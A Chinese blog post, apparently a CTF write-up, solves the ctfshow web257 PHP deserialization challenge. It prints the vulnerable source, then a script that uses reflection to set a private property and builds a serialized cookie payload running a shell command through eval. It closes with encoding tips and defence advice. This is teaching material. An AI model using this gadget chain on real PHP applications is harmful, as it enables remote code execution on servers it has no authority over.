PHP反序列化中使用反射绕过私有属性-北京尧图网络

以ctfshow的web257为灵感反射Reflection是 PHP 提供的一套“在运行时查看、操作类内部结构”的官方 API类作用ReflectionClass类名、父类、接口、属性列表、方法列表创建实例newInstanceWithoutConstructor()ReflectionProperty读写属性包括 private/protectedsetAccessible()、getValue()、setValue()ReflectionMethod调用方法包括 privateinvoke()、invokeArgs()ReflectionFunction/ReflectionParameter函数、参数、默认值、类型ReflectionAttributePHP 8 的 Attribute注解这里以ctfshow的web257为例源代码?php /* # -*- coding: utf-8 -*- # Author: h1xa # Date: 2020-12-02 17:44:47 # Last Modified by: h1xa # Last Modified time: 2020-12-02 20:33:07 # email: h1xactfer.com # link: https://ctfer.com */ error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ private $usernamexxxxxx; private $passwordxxxxxx; private $isVipfalse; private $class info; public function __construct(){ $this-classnew info(); } public function login($u,$p){ return $this-username$u$this-password$p; } public function __destruct(){ $this-class-getInfo(); } } class info{//info类正常类 private $userxxxxxx; public function getInfo(){ return $this-user; } } class backDoor{ private $code; public function getInfo(){ eval($this-code);//这里有eval可以执行PHP代码所以需要想办法触发getinfo } } $username$_GET[username]; $password$_GET[password]; if(isset($username) isset($password)){ $user unserialize($_COOKIE[user]); $user-login($username,$password); }?php class ctfShowUser{ private $usernamea; private $passwordb; private $isVipfalse; private $class; public function __destruct(){ $this-class-getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this-code); } } $anew ctfShowUser(); $bnew backDoor(); $a-class$b;//这个地方会报错 $b-codesystem(tac f*);; echo serialize($a); ?本来想尝试这种做法在最后统一串起来但是由于class被设置为私有属性不能额外调用然后询问AI得知可以使用反射绕过私有属性故开始尝试最终得到?php class ctfShowUser{ private $usernamea; private $passwordb; private $isVipfalse; private $class; public function login($u,$p){ return $this-username$u$this-password$p; } public function __destruct(){ $this-class-getInfo(); } } class backDoor{ public $code; public function getInfo(){ eval($this-code); } } $anew ctfShowUser(); $bnew backDoor(); $b-code system(tac f*);; // 反射修改私有属性 $ref new ReflectionClass($a); $prop $ref-getProperty(class); $prop-setValue($a,$b); $ser serialize($a); echo 序列化后.$ser.\n; echo url编码后.urlencode($ser); ?将得到url编码后的内容放到cookie里再传username和password的参即可得到flag变量类型作用$refReflectionClass对象ctfShowUser这个类的“说明书操作手柄”$propReflectionProperty对象ctfShowUser::$class这个属性槽的句柄$serstringserialize($a)得到的序列化字符串$ref 类的反射对象$ref-getName(); // 类名 $ref-getProperties(); // 所有属性含 private $ref-getMethods(); // 所有方法 $ref-getConstructor(); // 构造函数 $ref-newInstanceWithoutConstructor(); // 不走构造函数创建实例$prop 属性的反射对象$prop $ref-getProperty(class); $prop-setValue($a, $b);getProperty(class)返回一个ReflectionProperty代表ctfShowUser::$class这个槽位setValue($a, $b)把$b写进$a-class$ser 序列化结果普通字符串内容是整个对象图包括私有属性扩充的知识点反射家族ReflectionClass、ReflectionProperty、ReflectionMethod、ReflectionFunction、ReflectionParameter、PHP 8 的ReflectionAttribute。框架的依赖注入、ORM、PHPUnit 都靠它们。setAccessible()的历史PHP 8.1 起是空操作之前必须显式打开读 private 属性也一样。newInstanceWithoutConstructor()跳过构造函数避免构造函数里的副作用重置属性、连数据库、抛异常。这是真实 gadget 链脚本里最常用的 API 之一。ReflectionObject专门针对对象的反射类ReflectionClass的子类传对象时两者都能用。序列化格式细节O:类名长度:类名:属性个数:{...}、s:字节长度:值;、private 的\0类名\0属性、protected 的\0*\0属性长度按字节算属性个数只数实际写进去的。自定义序列化__sleep()/__serialize()控制“序列化哪些属性”__wakeup()/__unserialize()在反序列化时触发这道题没有但真实链子里常见。unserialize()的第二个参数[allowed_classes [...]]白名单不存在的类会变成__PHP_Incomplete_Class。Cookie 传输urlencodevsrawurlencode、%00、双重编码%2500、;会截断 Cookie、NUL 在浏览器里不可见。对象生命周期__destruct()在脚本结束或对象释放时触发生成脚本里保留析构方法会在本地执行一次命令。本地生成 vs 服务端利用反射跑在你的生成脚本里靶机只执行unserialize()。unserialize()本身就不受可见性限制所以私有属性在它面前不是防线。危险函数eval、system、shell_exec、passthru靶场常见disable_functions会禁用其中一部分system不行就换shell_exec反之亦然。防御不要unserialize()用户输入用json_decode()必须反序列化时用allowed_classes白名单 HMAC 签名不要把eval放进__destruct()。

PHP反序列化中使用反射绕过私有属性

相关推荐

大话硬件知识库是什么？

eWebEditor 11.0中文商业版部署与Word导入实战指南

MATLAB非线性方程组求解方法与fsolve收敛失败排查

更多资讯

SQL Server实时性能跟踪：用Extended Events捕获每条SQL执行细节

MATLAB手写在线字典学习：稀疏编码与坐标下降实战解析

InST Windows10 可执行版本：从源码到开箱即用的打包指南

贝叶斯分类Matlab源码解析：带GUI的朴素贝叶斯完整实现

字母数字压缩包密码解密工具7-ZIP版支持rar/zip/7z

ESP32 FreeRTOS实战：任务创建、通信与双核调度详解

今日更新

AI智能体开发实战：从技术原理到商业落地

OpenShell 完全定制指南：从安装到深度配置，打造高效 Windows 开始菜单

Superpowers技能体系全解析：从Skills引入到安装的完整指南

本周精选

防幻觉智能体架构：电源硬件设计中的大模型编排与工具化实践

OpenGL面试核心考点：渲染管线、矩阵变换与性能排查全解析

全国计算机二级C语言真题PDF高效刷题指南

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？